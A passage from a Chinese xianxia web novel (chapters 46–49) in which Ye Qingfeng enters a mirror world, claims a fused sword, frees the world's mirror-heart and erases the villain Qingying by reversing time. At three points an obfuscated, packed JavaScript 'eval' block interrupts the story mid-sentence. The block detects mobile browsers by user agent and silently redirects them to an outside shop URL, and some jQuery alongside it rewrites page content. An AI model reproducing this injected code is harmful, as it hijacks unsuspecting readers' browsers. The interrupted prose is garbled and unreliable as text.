她看向叶清风:“这是唯一的办法。毁掉树,切断两个世界的时空连接,清影的计划就失败了。” “可是——” “没有可是。”镜像林素衣摇头,“快去。我的身体被封印在镜像净尘祖地的‘镜心殿’,那里有我留下的记号,跟着记号就能找到。” 她取出一枚玉佩——与本世界林素衣的玉佩一模一样,但颜色是相反的黑色。 “拿着它,它会指引你。” 叶清风接过玉佩,感到一阵时空的眩晕。 “那你……” “我会在这里,等你们回来。”镜像林素衣微笑,“相信我,我能撑三天。” 叶清风深深看了她一眼,然后转身:“走!” 灵舟调转方向,冲入镜面。 这一次,镜面没有阻挡他们,反而主动打开了一条通道——那是镜像林素衣燃烧精血换来的权限。 通道另一端,是镜像世界。 当他们穿过通道,出现在另一边时,看到的景象让所有人都倒吸一口凉气。 这是一个完全颠倒的世界。 天空是血红色的,大地是漆黑的。山脉倒悬,河流逆流,连树木都是根朝上、冠朝下。 更诡异的是,这个世界的生灵。 他们有着与这个世界相似的形态,但一切都透着一种扭曲的“正确”:善良的人在这里是邪恶的,光明的地方在这里是黑暗的,净尘宗的建筑在这里变成了影盟的总部。 而在他们前方,是一片巨大的废墟——镜像净尘宗。 宗门的断壁残垣上,爬满了黑色的藤蔓。藤蔓中,隐约可见一具具骸骨,有的穿着净尘宗道袍,有的穿着影盟黑袍。 “这里……发生了什么?”萧长风喃喃道。 “三万年前,清影背叛了净尘宗,与影盟里应外合,覆灭了这个世界的净尘宗。”一个虚弱的声音从废墟深处传来。 众人警惕望去。 只见一个穿着残破净尘宗道袍的老者,从废墟中蹒跚走出。他只剩一条手臂,脸上布满伤疤,但眼神依然清明。 “我是镜像净尘宗最后的幸存者,道号‘守镜’。”老者咳嗽着,“你们是……从那个世界来的?” “是。”叶清风点头,“我们来取镜像净尘剑。” “取剑?”守镜真人苦笑,“你们可知,剑在哪里?” “镜心殿。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果他们在时间秘境中修炼,时空之树的能量就会加速消耗。镜像林素衣和时之眼能支撑的时间,就会缩短。 三天变成……两天。 “值得吗?”花无暇问。 叶清风沉默片刻,点头:“值得。没有足够的实力,我们连影库都进不去,更别说取剑夺镜心了。” “那便去吧。” 守镜真人带着众人,深入废墟。 在一处崩塌的大殿下方,他们找到了时间秘境的入口——一面悬浮在半空中的破碎镜子。 “进去吧。”守镜真人道,“我会在外面守着。记住,你们只有秘境时间的三个月,外界的一天。时间一到,无论修炼到什么程度,都必须出来。” 叶清风、花无暇、萧长风,以及十名金丹弟子,先后踏入镜中。 秘境内部,是一个完全由镜子构成的空间。空间不大,只有百丈方圆,但灵气浓郁得几乎凝成液体。 更重要的是,这里的时间流速确实很慢。叶清风能感觉到,自己的思维、动作,都比外界慢了百倍。 “开始修炼吧。” 他盘膝坐下,取出《净尘真经》,开始全力参悟。 这一次,他没有急着突破元婴,而是先夯实基础。净尘血脉刚刚觉醒,与《净尘真经》的契合度需要慢慢打磨。 一个月过去,他的修为没有增长,但对净尘之力的掌控,却达到了入微的境界。 两个月过去,他开始尝试突破。 净尘之力与青玄剑气在体内融合,形成一种全新的、蓝金色的力量。这力量既有净化的特性,又有剑的锋芒。 三个月之期将至时,叶清风睁开了眼睛。 他的气息,已经稳稳停在了元婴初期。 而且不是普通的元婴初期——他的元婴,是蓝金色的,左手持青玄分光剑,右手托净尘镜虚影,眉心还有一个“净”字印记。 “净尘剑婴……”守镜真人的声音从秘境入口传来,“传说中净尘仙子的境界,你竟真的达到了。” 叶清风起身,感觉整个世界都不同了。 他能看到灵气的流动,能看到时间的轨迹,甚至能隐约感应到……两个世界的“边界”。 “时间到了。”他看向其他人。 花无暇和萧长风也都达到了元婴初期,十名金丹弟子中有六人突破到了金丹后期。 实力大增。 “走吧。”叶清风率先走出秘境。 外界,果然只过了一天。 但守镜真人的脸色,却异常难看。 “怎么了?”叶清风问。 “清影……提前挣脱了封印。”守镜真人声音发颤,“而且,他派来了一个人。” “谁?” 守镜真人指向废墟之外。 那里,站着一个穿着黑色道袍的年轻男子。 男子面容英俊,但眼神空洞,周身散发着诡异的气息——那是净尘之力与魔气的混合。 更让人震惊的是,他的面容…… 与叶清风,有七分相似。 “介绍一下。”男子开口,声音嘶哑,“我是清影的弟子,也是……这个世界的你。” “镜像叶清风。” 47. 镜像对决与镜心真相 两个叶清风。 一个身着青玄门道袍,白发如雪,周身环绕着纯净的蓝金色净尘之力。 一个穿着黑色道袍,黑发如墨,身上散发着净尘之力与魔气交织的诡异气息。 废墟之中,二人相对而立,宛如镜子的两端。 “你……”本世界的叶清风喉咙发紧,看着对面那张与自己七分相似、却更加苍白憔悴的脸,“真的是我?” “镜像世界的你。”黑袍叶清风开口,声音嘶哑,却带着一种病态的平静,“或者说,是你可能成为的样子——如果你当年做了不同的选择。” “什么选择?” “三年前,叶家灭门之夜。”黑袍叶清风眼神空洞,“在那个雨夜,你选择了逃跑,选择了活下去,选择了日后报仇。而我……” 他顿了顿:“我选择了留下,与家族共存亡。” 叶清风心头一震。 “然后呢?” “然后我死了。”黑袍叶清风淡淡道,“但清影大人救了我。他用镜像世界的力量重塑了我的身体,用影盟的秘法唤回了我的魂魄。代价是……我成了他的傀儡。” 他抬起手,手背上浮现出黑色的符文:“看到这些了吗?这是‘魂契印’,清影大人掌控我生命的印记。我反抗过,但每次反抗,都会承受灵魂被撕裂的痛苦。” “所以你放弃了?” “不。”黑袍叶清风摇头,“我只是……学会了忍受。并在忍受中,寻找机会。” 他忽然向前一步,压低声音:“听着,时间不多。清影的封印只能再维持两天,他派我来,表面是阻止你们,实际上是……” 话音未落,他整个人突然僵住,脸上的表情变得扭曲,仿佛在承受巨大的痛苦。 “呃啊——!” 黑袍叶清风跪倒在地,双手抱头,七窍开始渗出黑血。手背上的魂契印发出刺目的红光,将他整个人笼罩。 “他在……强行控制我……”他艰难地说道,“快……杀了我!趁我还能保持清醒!” 叶清风愣住了。 “动手啊!”黑袍叶清风嘶吼,“杀了我,你们才能进入镜心殿!钥匙……钥匙就在我的心脏里!” 守镜真人脸色大变:“他说的是真的!魂契印的控制者可以远程引爆被控者的心脏!清影想用这种方式阻止你们!” 花无暇急道:“那怎么办?总不能真的杀了他!” “有办法。”净尘剑灵小净的声音在叶清风脑海中响起,“用净尘之力净化魂契印!但需要他完全放弃抵抗,并且……你会承受魂契印的反噬。” “反噬是什么?” “轻则魂魄受损,重则……你也会被魂契印沾染,成为清影新的傀儡。” 叶清风沉默三息,然后看向痛苦挣扎的黑袍叶清风。 “你愿意信任我吗?” 黑袍叶清风抬头,眼中闪过复杂的光:“你是……另一个我。我不信任你,还能信任谁?” “好。” 叶清风上前,将手掌按在黑袍叶清风的手背上。蓝金色的净尘之力涌出,注入魂契印中。 滋——! 黑烟冒出,魂契印剧烈挣扎,发出刺耳的尖啸。那尖啸直接冲击灵魂,叶清风感到自己的识海如遭重击,七窍也开始渗血。 但他没有放手。 净尘之力与魂契印的力量激烈对抗。魂契印想要侵蚀叶清风的魂魄,而净尘之力在净化它的同时,也在保护叶清风的灵魂。 这是一场意志的较量。 一炷香后,魂契印的红光开始黯淡。 两炷香后,黑色的符文开始剥落。 三炷香—— 砰! 魂契印炸裂! 黑袍叶清风喷出一口黑血,但眼神恢复了清明。而叶清风也踉跄后退,脸色惨白,眉心浮现出一个淡淡的黑色印记——那是魂契印残留的污染。 “你……”黑袍叶清风看着他眉心的印记,声音颤抖,“你被污染了。” “不严重。”叶清风摇头,“净尘之力能压制它。现在,钥匙在哪?” 黑袍叶清风没有回答,而是直接撕开了自己的胸膛。 没有鲜血,没有内脏——他的胸腔里,是空的。只有一枚发光的玉佩,悬浮在心脏的位置。 “这就是第三把钥匙。”他取出玉佩,递给叶清风,“我的‘心’,早就被清影挖走了。他用这枚玉佩代替了它,既能控制我,又能保管钥匙。” 叶清风接过玉佩,触手冰凉。 “那你的身体……” “活不了多久了。”黑袍叶清风平静道,“魂契印解除的瞬间,我体内清影留下的禁制就会启动。最多一个时辰,我就会彻底消散。” 他看向废墟深处:“但在这之前,我可以帮你们打开镜心殿的入口。跟我来。” 众人跟着黑袍叶清风,深入废墟。 路上,黑袍叶清风讲述了这个世界的故事: 三万年前,净尘仙子镇压心魔之主后,镜像世界的净尘宗也同步建立。最初的几千年,两个世界的净尘宗还有联系,互相交流道法。 但两千年前,一切都变了。 镜像世界的清虚——也就是清影——在一次探索时空秘境时,发现了两个世界的“真相”:镜像世界并不是简单的复制品,而是本世界的“备份”。当本世界发生重大灾难时,镜像世界可以成为“重启”的模板。 这意味着,镜像世界的存在意义,就是随时准备替代本世界。 “清影无法接受这个真相。”黑袍叶清风道,“他觉得自己,觉得整个镜像世界,都只是工具,是备用品。所以他开始谋划,要打破这种命运。” “他创立了影盟,渗透到两个世界。他研究时空法则,寻找彻底分离两个世界的方法。但后来他发现,分离是不可能的,因为两个世界本是一体。” “所以他改变了计划:与其分离,不如融合。让两个世界合二为一,创造出全新的世界,这样就没有‘本尊’和‘镜像’之分了。” 叶清风明白了:“所以他要毁掉时空之树,强行打开永久通道。” “对。”黑袍叶清风点头,“但现在他被暂时封印了,所以派我来阻止你们。但他没想到,我会借机摆脱控制。” 他停下脚步。 前方,是一片完全坍塌的宫殿废墟。废墟中央,立着一面巨大的镜子——镜面破碎,但依然散发着微弱的净尘气息。 “镜心殿的入口。”黑袍叶清风道,“需要用三把钥匙同时激活。” 叶清风取出自己手中的两枚玉佩——一枚是镜像林素衣给的黑色玉佩,一枚是守镜真人给的断裂玉佩。 黑袍叶清风也取出那枚从他胸膛取出的玉佩。 三枚玉佩悬浮而起,在空中拼成一个完整的圆形。 圆形发光,射出一道光芒,照在那面破碎的镜子上。 镜子开始震动,碎片自动拼接,最终恢复成一面完整的镜子。镜中映照出的,不是废墟,而是一座庄严的大殿。 “进去吧。”黑袍叶清风道,“镜像净尘剑就在大殿深处。但小心,那里还有……这个世界真正的镜心。” “镜心到底是什么?”花无暇问。 “是一个意识。”黑袍叶清风看向叶清风,“是这个世界的‘天道意志’的具象化。三万年来,它一直在沉睡,但清影炼化了它的一部分,才获得了掌控镜像世界的力量。” 他顿了顿:“如果你们想彻底阻止清影,就必须夺回完整的镜心。否则就算毁掉时空之树,清影也能凭借镜心的力量,重新打通通道。” “怎么夺回?” “用净尘剑。”黑袍叶清风道,“只有净尘剑,才能斩断清影与镜心的联系。但前提是……你要得到镜心的认可。” “认可?” “镜心会选择它认为能守护这个世界的人。”黑袍叶清风深深看了叶清风一眼,“而你有优势——你身上,有本世界林素衣的残魂气息。镜心对她……有特殊的感情。” 叶清风明白了。 “那我们现在进去。” 他率先踏入镜中。 镜心殿内部,比想象中更加宏伟。 大殿高达百丈,四壁刻满了古老的符文。符文不是静止的,而是在缓缓流动,仿佛活物。大殿中央,悬浮着一柄剑——通体漆黑,剑身细长,与净尘剑的样式完全一样,只是颜色相反。 镜像净尘剑。 而在剑的下方,是一个巨大的水池。池水不是透明的,而是如镜子般,映照出整个大殿的倒影。 池水中央,悬浮着一个光球。 光球中,隐约可见一个小女孩的身影——蜷缩着,沉睡着。 那就是这个世界的镜心。 “好强的压迫感……”萧长风感到呼吸困难,“光是靠近,就感觉灵魂要被吸进去。” “因为镜心是这个世界法则的具象化。”守镜真人道,“元婴期以下的修士,根本无法直视它太久。” 叶清风走向水池。 每走一步,压力就增加一分。到后来,他感觉全身的骨骼都在咯吱作响,血液都要凝固了。 但他没有停。 因为他感应到了——池中的镜心,正在呼唤他。 不,不是呼唤他,而是呼唤他体内的……净尘剑。 净尘剑自动飞出,悬浮在他身前,发出柔和的蓝金色光芒。与此同时,水池中的镜像净尘剑也开始震动,发出黑色的光芒。 两把剑,一光一暗,开始共鸣。 池水沸腾了。 光球中的小女孩,缓缓睁开了眼睛。 那是一双完全由光芒构成的眼睛,没有瞳孔,却仿佛能看穿一切。 她看向叶清风,然后……哭了。 不是发出声音的哭,而是光球表面,浮现出泪滴状的波纹。 “为什么……”一个稚嫩的声音在所有人脑海中响起,“为什么你现在才来?我等了你……三万年。” 叶清风愣住了。 “你在等谁?” “等你。”小女孩指向净尘剑,“或者说,等这把剑的主人。净尘姐姐说过,总有一天,会有人带着这把剑,来解救我。” 净尘姐姐? 叶清风忽然明白了:“你是净尘仙子创造的?” “是。”小女孩点头,“三万年前,净尘姐姐在镇压心魔之主后,发现两个世界的连接太脆弱,需要一个‘锚点’来稳定。所以她抽取了自己的一部分魂魄,结合这个世界的法则,创造了我。” “我是镜心,也是这个世界的……守护灵。” 她的声音变得悲伤:“但一千年前,清影哥哥找到了我。他说他要拯救这个世界,要我帮助他。我相信了他,给了他一部分力量。” “可后来我发现……他要的不是拯救,是毁灭。他想融合两个世界,创造所谓的‘新世界’。但那根本不可能,强行融合只会让两个世界都崩溃。” “我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“有人……在动镜心?”他的眼神变得冰冷,“看来,我那不听话的棋子,还是背叛了。” 他看向周围缓慢流动的时空封印,嘴角勾起一抹冷笑。 “本来还想再陪你们玩两天,但现在……没时间了。” 他双手一合,体内爆发出恐怖的力量。 那力量不是灵力,不是魔气,而是……纯粹的时空之力! “时空封印?可笑。”清影淡淡道,“时之眼,你忘了,我才是真正掌控时空的人。” 咔嚓—— 时空封印,出现了一道裂痕。 而镜心殿中,叶清风的剑气,终于斩断了最后一丝连接。 小女孩的光球炸裂,化作无数光点。 光点在空中重新凝聚,最终化作一个完整的小女孩实体——不再是虚幻的光球,而是有着真实身体的小女孩。 她落在地上,赤着脚,穿着白色的裙子,眼神清澈如初生的婴儿。 “我……自由了。”她轻声道。 然后,她看向叶清风,深深一礼:“谢谢你,救世主。现在,请接受这个世界最后的馈赠——” 她抬手,按在叶清风眉心。 海量的信息涌入:镜像世界的完整法则、时空之力的运用、清影的所有弱点、以及……一个被隐藏了三万年的秘密。 “清影的真正目的,不是融合两个世界。”小女孩的声音在他脑海中响起,“而是……成为唯一的世界。” “他要在两个世界融合的瞬间,吞噬两个世界的镜心,成为新的‘天道’。届时,他将不再是清影,而是……创世神。” 叶清风脸色大变。 “那他为什么还要封印自己?” “因为他需要时间。”小女孩道,“吞噬两个镜心,需要特定的时机——‘双日同天,双月同辉’。那个时机,就在……两天后的子时。” 两天后。 正好是时空封印解除的时间。 “我们必须阻止他。”叶清风咬牙。 “嗯。”小女孩点头,“但现在,先取剑吧。” 她指向已经完成融合的两把净尘剑。 此刻,两把剑已经合二为一,变成了一把灰蒙蒙的长剑。剑身不再有颜色,而是如混沌般不断变化,时而蓝金,时而纯黑,时而透明。 “混沌净尘剑。”小女孩道,“这才是净尘剑的真正形态——阴阳合一,可斩时空,可断因果。” 叶清风握住剑柄。 剑身震动,与他产生共鸣。他感到自己的境界再次提升,从元婴初期,一路飙升到元婴中期、后期,最终停在元婴圆满。 “时间不多了。”守镜真人忽然道,“清影的气息……在变强。他可能要提前突破封印了。” 叶清风看向小女孩:“你能帮我们回到归墟之海吗?” “可以。”小女孩点头,“但回去后,我需要暂时寄生在你的净尘剑中。因为我刚获得自由,力量还不稳定。” “好。” 小女孩化作一道光,没入混沌净尘剑中。剑身多了一个小小的印记——一个闭着眼睛的小女孩图案。 叶清风转身,对众人道:“准备回去。决战……要开始了。” 但就在他们准备离开镜心殿时,殿外突然传来了脚步声。 不是一个人,而是……很多人。 黑袍叶清风脸色一变:“是影盟的人!他们发现这里了!” 大殿的门被轰开。 门外,站着密密麻麻的黑袍人。而在所有黑袍人前方,站着三个气息恐怖的老者——每一个,都是化神期! 影盟的三位长老,亲自来了。 为首的灰袍老者看向叶清风,眼神冰冷: “清影大人有令:格杀勿论,一个不留。” “动手!” 48. 绝境突破与时间竞赛 镜心殿外,三位化神期的影盟长老呈品字形站立,气息锁定殿内众人。他们身后,数十名元婴期的黑袍杀手结成战阵,封锁了所有退路。 这是一场实力悬殊到绝望的对峙。 叶清风这边,只有他一个元婴圆满,花无暇和萧长风刚入元婴初期,十名金丹弟子,加上重伤的守镜真人和濒死的黑袍叶清风。而对方,是三位化神,加上数十位元婴。 “清影大人说了,拿到混沌净尘剑和镜心的人,可以成为影盟第四位长老。”为首的灰袍长老——代号“影杀”——声音冰冷,“但若拿不到……我们都得死。” 另外两位长老——代号“影刺”和“影毒”——眼中同时闪过杀意。 他们没有选择。 “布阵!”影杀挥手。 数十名黑袍杀手同时结印,黑色的灵力在空中交织,形成一个巨大的牢笼,将整个镜心殿笼罩。牢笼内,空间开始凝固,所有人的动作都变得迟缓。 这是影盟的招牌阵法——“影狱”,可禁锢空间,压制灵力。 叶清风感到体内的灵力运转慢了十倍不止,连混沌净尘剑的光芒都黯淡了几分。 “必须先破阵。”守镜真人咬牙道,“但以我们的实力……” “我来破阵。”黑袍叶清风忽然开口。 他已经虚弱得站不稳,但眼神却异常坚定:“我的身体里,还有清影留下的最后一道禁制。引爆它,可以暂时扰乱影狱的核心。” “引爆禁制你会死!”花无暇急道。 “我本就活不了多久了。”黑袍叶清风平静道,“能为另一个我做点事,也算……死得其所。” 他看向叶清风:“记住,破阵的瞬间,你们只有三息时间突围。三息后,阵法会自动修复。” “那你……” “别管我。”黑袍叶清风笑了,那笑容与他本尊一模一样,“能见到你,知道另一个世界的我活得很好……就够了。” 他转身,冲向阵眼位置。 “拦住他!”影杀察觉到不对,立刻出手。 但黑袍叶清风燃烧了最后的生命力,速度暴涨,竟然躲过了化神期的一击! 他冲入阵眼,双手按在自己胸膛——那里原本是心脏的位置,现在只剩下一个空洞。 “清影,你掌控了我三年,现在……该还了!” 黑色的火焰从他体内燃起,那是魂契印最后的力量。火焰迅速蔓延,烧穿了影狱的核心阵纹。 咔嚓—— 影狱出现了一道裂痕。 “就是现在!”叶清风大喝。 混沌净尘剑出鞘! 这一次,剑光不再是蓝金色,也不是黑色,而是……混沌的灰色。剑光所过之处,空间如纸片般被轻易切开。 影狱的裂痕迅速扩大。 “冲!”花无暇和萧长风同时出手,百花飞舞,剑光纵横,为身后的金丹弟子开路。 三位化神长老想要阻拦,但混沌净尘剑的威势太强了,强到他们不敢硬接! “这剑……有古怪!”影毒长老脸色难看,“它斩断的不只是空间,还有……法则!” 没错,混沌净尘剑的本质,是斩断法则。影狱的阵法再精妙,也是建立在法则之上。而混沌剑光,直接斩断了阵法的根基。 三息,转瞬即逝。 叶清风等人冲出影狱,但黑袍叶清风的身影,已经被黑色火焰完全吞噬。 “走!”叶清风最后看了一眼火焰中的身影,咬牙转身。 “想走?”影杀冷笑,“就算破了影狱,你们也逃不出镜像世界!” 他双手结印,地面突然裂开无数缝隙,从缝隙中爬出无数黑色的影子生物。那些影子没有固定形态,时而像人,时而像兽,张牙舞爪地扑向众人。 “这是……影魔!”守镜真人脸色大变,“清影竟然把影魔放出来了!” 影魔,影盟用秘法培育的魔物,以影子为食,无形无质,极难杀死。 更可怕的是,影魔的数量太多了,密密麻麻,如潮水般涌来。 “我来断后!”萧长风挡在众人身后,重剑挥舞,“你们继续往前冲!找到离开这个世界的通道!” “萧师兄——” “别废话!”萧长风回头,露出一个洒脱的笑容,“我本来就是来还林师妹人情的。现在,该还了。” 他深吸一口气,周身爆发出刺目的剑光。 那剑光不是青色,而是……血色。 “血剑诀——万剑归宗!” 他以自身精血为引,催动了剑修禁忌之术。万千血剑从他体□□出,每一剑都准确命中一个影魔。 影魔在血剑下纷纷炸裂,但更多的影魔涌了上来。 “走啊!”萧长风嘶吼,七窍开始渗血。 叶清风咬牙,带着剩下的人继续冲锋。 前方,是镜像净尘宗的废墟出口。只要冲出去,就能找到返回归墟之海的通道。 但就在他们即将冲出废墟时—— 一道冰墙,突然从天而降,挡住了去路。 冰墙后,站着一个穿着冰蓝色长裙的女子。她面容绝美,但眼神空洞,周身散发着刺骨的寒意。 “冰姬……”守镜真人声音发颤,“清影座下四大护法之一,化神中期……” “让开。”叶清风握紧混沌净尘剑。 冰姬没有回答,只是抬手。 冰墙突然炸裂,化作无数冰刃,铺天盖地射来! 每一道冰刃都蕴含着恐怖的寒意,所过之处,连空气都冻结了。 “百花结界!”花无暇全力出手,粉色花瓣形成护罩,但冰刃太强了,结界迅速出现裂痕。 更糟糕的是,冰姬的寒意开始侵蚀众人的身体。金丹期的弟子们已经开始发抖,灵力运转都变得困难。 “这样下去不行……”花无暇嘴角渗血,“叶清风,你想办法突围,我来拖住她!” “你拖不住。”叶清风摇头,“化神中期的实力,远超我们。” 他看着手中的混沌净尘剑,忽然想起镜心小璃的话:“混沌剑可斩时空,可断因果……也许,可以这样……” 他闭上眼睛,将全部心神沉入剑中。 “小璃,帮我。” “嗯。”剑中的小女孩回应。 混沌净尘剑再次亮起,但这一次,剑光不是向外扩散,而是向内收缩,最终凝聚在剑尖一点。 那一点光芒,灰蒙蒙的,看似普通,却让冰姬的脸色第一次变了。 “时空……凝滞?” 她想要后退,但已经晚了。 叶清风一剑刺出。 没有惊天动地的气势,没有华丽的剑光,只是平平无奇的一刺。 但就是这一刺,冰姬周围的时间……停止了。 不是被禁锢,而是被“斩断”了——斩断了她与现在这个时间点的连接。 冰姬僵在原地,保持着后退的姿势,却无法动弹。她的意识还在,但身体已经不属于这个时间。 “走!”叶清风喝道。 众人冲出废墟。 但叶清风的脸色却异常苍白——刚才那一剑,消耗了他大半的灵力和生命力。他能感觉到,自己的寿元至少被斩去了三十年。 “你怎么样?”花无暇扶住他。 “没事。”叶清风摇头,“先找通道。” 守镜真人指向废墟边缘的一面破碎镜子:“那里就是返回的通道。但需要……净尘血脉激活。” 叶清风划破手掌,将血滴在镜面上。 镜子开始发光,缓缓旋转,形成一个漩涡。 “快进去!”守镜真人催促。 众人依次踏入。 但当叶清风最后一个准备进入时,异变突生。 一道黑影突然从地下窜出,直扑他的后背! 是影杀! 他不知何时潜伏到了这里,等的就是这一刻! “小心!”花无暇惊呼。 叶清风想要闪躲,但消耗过度的身体反应慢了半拍。 眼看黑影就要击中他—— 一道身影突然挡在了他身前。 是守镜真人。 噗嗤—— 黑影贯穿了守镜真人的胸膛。 “前辈!”叶清风目眦欲裂。 “快……走……”守镜真人艰难开口,“告诉那个世界的净尘宗……我们没有……给净尘仙子丢脸……” 他抬手,最后的力量注入镜面。 漩涡突然扩大,将叶清风强行吸了进去。 而在漩涡闭合的最后一瞬,叶清风看到,守镜真人的身体炸开了——不是被影杀杀死,而是自爆了元婴。 化神期的自爆,威力何等恐怖。 整个镜像净尘宗废墟,被夷为平地。 影杀虽然及时退开,但还是被余波重伤。 至于冰姬……她被时空凝滞困住,无法躲避,在自爆中灰飞烟灭。 归墟之海。 叶清风从通道中跌出,重重摔在灵舟甲板上。 花无暇和剩下的五名金丹弟子也狼狈地跟了出来。萧长风没有出来——他留在了镜像世界,断后而亡。 “萧师兄……”一名金丹弟子跪倒在地,失声痛哭。 叶清风握紧拳头,指甲深深刺入掌心。 但他没有时间悲伤。 因为归墟之海的局势,比他们离开时更加严峻。 时空封印的光柱,已经黯淡了大半。光柱中,清影的身影清晰可见——他盘膝而坐,双手结印,正在以恐怖的速度吸收封印的力量。 每吸收一分,封印就弱一分,他的气息就强一分。 而时空之树下,镜像林素衣——或者说,此刻是她本尊的意识——已经虚弱得几乎透明。时之眼的光芒也极其微弱,显然快撑不住了。 “你们……回来了……”镜像林素衣看到他们,露出虚弱的笑容,“拿到剑了吗?” “拿到了。”叶清风举起混沌净尘剑。 “那就……好。”她闭上眼睛,“我快撑不住了。清影最多还有半个时辰,就能完全突破封印。” 半个时辰! 叶清风看向手中的剑,又看向树下的镜心小璃。 “小璃,现在怎么办?” 小璃的身影从剑中浮现,她看向清影,眼神复杂:“清影哥哥已经吸收了太多时空之力,现在的他……恐怕已经触摸到了‘炼虚’的门槛。” 炼虚期! 那是化神之上的境界,是真正触摸到法则本质的境界。整个本世界的历史上,也只有清虚祖师飞升前达到过。 “我们能赢吗?”花无暇问。 小璃沉默片刻,缓缓道:“有一个方法,但需要牺牲。” “什么方法?” “以时空之树为基,以混沌净尘剑为引,布下‘时空逆转大阵’。”小璃道,“将清影……打回三千年前,他刚产生‘融合世界’念头的时候。” “时空逆转?”叶清风心中一震,“这能做到吗?” “能,但代价是……”小璃看向镜像林素衣和时之眼,“需要燃烧两个镜心的全部力量,以及……施术者的全部生命力。” 她看向叶清风:“也就是说,布阵的人,必死无疑。” “我来。”叶清风毫不犹豫。 “不,我来。”镜像林素衣忽然开口,“我已经快消散了,用我最后的力量,正好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980558|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “但你的意识……” “我的意识会回归本体。”镜像林素衣看向叶清风,“等你救回林素衣,告诉她……另一个世界的她,没有让她失望。” 她站起身,走向时空之树。 时之眼也发出最后的光芒:“三万年了,我也该休息了。叶清风,记住,阵法启动后,你只有一炷香的时间。一炷香内,必须用混沌净尘剑斩杀清影的‘过去身’。否则,阵法反噬,两个世界都会崩溃。” “我明白了。” 镜像林素衣和时之眼同时燃烧。 蓝金色的光芒与七彩的光芒交织,融入时空之树。树冠上,无数叶子同时亮起,每一片叶子都映照出一个时空片段。 然后,那些片段开始倒流。 清影周围的时空,开始逆向流动。他的气息开始减弱,他的面容开始变得年轻…… 最终,定格在了三千年前—— 那时的清影,还是一个年轻的修士,眼中还保留着对世界的热爱和对净尘仙子的敬仰。 他茫然地看着周围:“这里是……归墟之海?我怎么会在这里?” “清影哥哥……”小璃流着泪,“对不起。” “小璃?你怎么哭了?”年轻清影疑惑道。 叶清风没有给他继续说话的机会。 混沌净尘剑,刺穿了他的心脏。 不是现在这个清影的心脏,而是三千年前,那个还未堕落的清影的心脏。 “啊——!” 光柱中,正在突破封印的清影本体,发出凄厉的惨叫。 他的胸口,突然出现了一个血洞。血洞中,没有鲜血流出,只有无尽的时空乱流。 “你们……竟敢……”清影眼中满是怨毒,“逆转时空……斩我过去……” 他的身体开始崩解,不是被杀死,而是被“抹除”——从三千年前的那个节点开始,他的存在被一点点抹去。 “不——!我不甘心!我谋划了三千年,我——” 声音戛然而止。 清影的身影,彻底消散。 时空封印解除,光柱消失。 但时空之树,也开始枯萎。 镜像林素衣和时之眼的身影,已经看不见了。只有两团微弱的光芒,缓缓飘向叶清风。 那是她们最后的馈赠——完整的时空感悟,以及……两个世界镜心的碎片。 叶清风接住光芒,感到一股浩瀚的信息涌入。 同时,他也感到自己的生命力在飞速流逝——时空逆转大阵的反噬,开始了。 “叶清风!”花无暇冲过来扶住他。 “我没事……”叶清风摇头,看向枯萎的时空之树,“树要倒了。倒下的瞬间,归墟之海会崩塌。我们必须……立刻离开。” “怎么离开?” “用这个。”叶清风取出那枚黑色玉佩——镜像林素衣给的玉佩。 玉佩已经布满裂痕,但还能用最后一次。 他将全部灵力注入玉佩,玉佩炸裂,化作一个传送门。 “快走!” 众人冲进传送门。 在门闭合的最后一瞬,叶清风回头看了一眼。 他看到了枯萎的树下,浮现出两个虚影——镜像林素衣和时之眼,她们并肩而立,微笑着对他挥手告别。 然后,整个归墟之海,开始崩塌。 天池边。 传送门打开,叶清风等人跌出。 所有人都伤痕累累,气息萎靡。 但更让他们心惊的是,天池的状况。 池水已经完全变成黑色,水面漂浮着无数诡异的泡沫。泡沫中,隐约可见扭曲的人脸,发出无声的尖叫。 而池底的镜门,裂痕已经扩散到整个镜面。从裂痕中渗出的黑色粘液,在天池周围形成了一个巨大的黑色泥潭。 泥潭中,有什么东西在蠕动。 “地魔……要苏醒了。”玄诚子脸色难看,“你们离开的这三天,黑色粘液一直在侵蚀封印。现在,封印已经快撑不住了。” 三天? 叶清风一愣。他们在镜像世界只待了一天,但本世界竟然过了三天? 是时空逆转大阵的影响,还是归墟之海的时间流速异常? “林师妹的残魂呢?”他问。 “还在镜门里。”素青真人指向池底,“但她的气息越来越弱了。恐怕……撑不过今天。” 叶清风看向手中的混沌净尘剑。 剑中的小璃虚弱地开口:“用剑斩开镜门,我能暂时稳定她的残魂。但要彻底救她,需要……” 她顿了顿:“需要你将两个镜心碎片,融入她的魂魄。但这很危险,一旦失败,你们两个都会魂飞魄散。” “成功率多少?” “三成。” 叶清风沉默片刻,笑了。 “三成……够了。” 他走向天池。 但就在这时,池底的镜门,突然炸裂! 不是被从外面打破,而是从内部炸裂! 一个身影,从炸裂的镜门中缓缓走出。 那是一个穿着净尘宗道袍的女子,面容绝美,眼神清澈,眉心有一点朱砂印记。 她的气息,强大到让所有人窒息。 那不是化神,不是炼虚,而是……更高层次的存在。 女子看向叶清风,微微一笑: “三万年了,终于有人集齐了两个镜心碎片。” “现在,该完成……最后的融合了。” 所有人都愣住了。 因为那女子的面容,他们太熟悉了。 那是……净尘仙子! 本应在三万年前就坐化的,净尘仙子! 49. 净尘仙子与镜心真相 净尘仙子。 三万年前开宗立派,镇压心魔之主,最后坐化于天池的传奇人物。 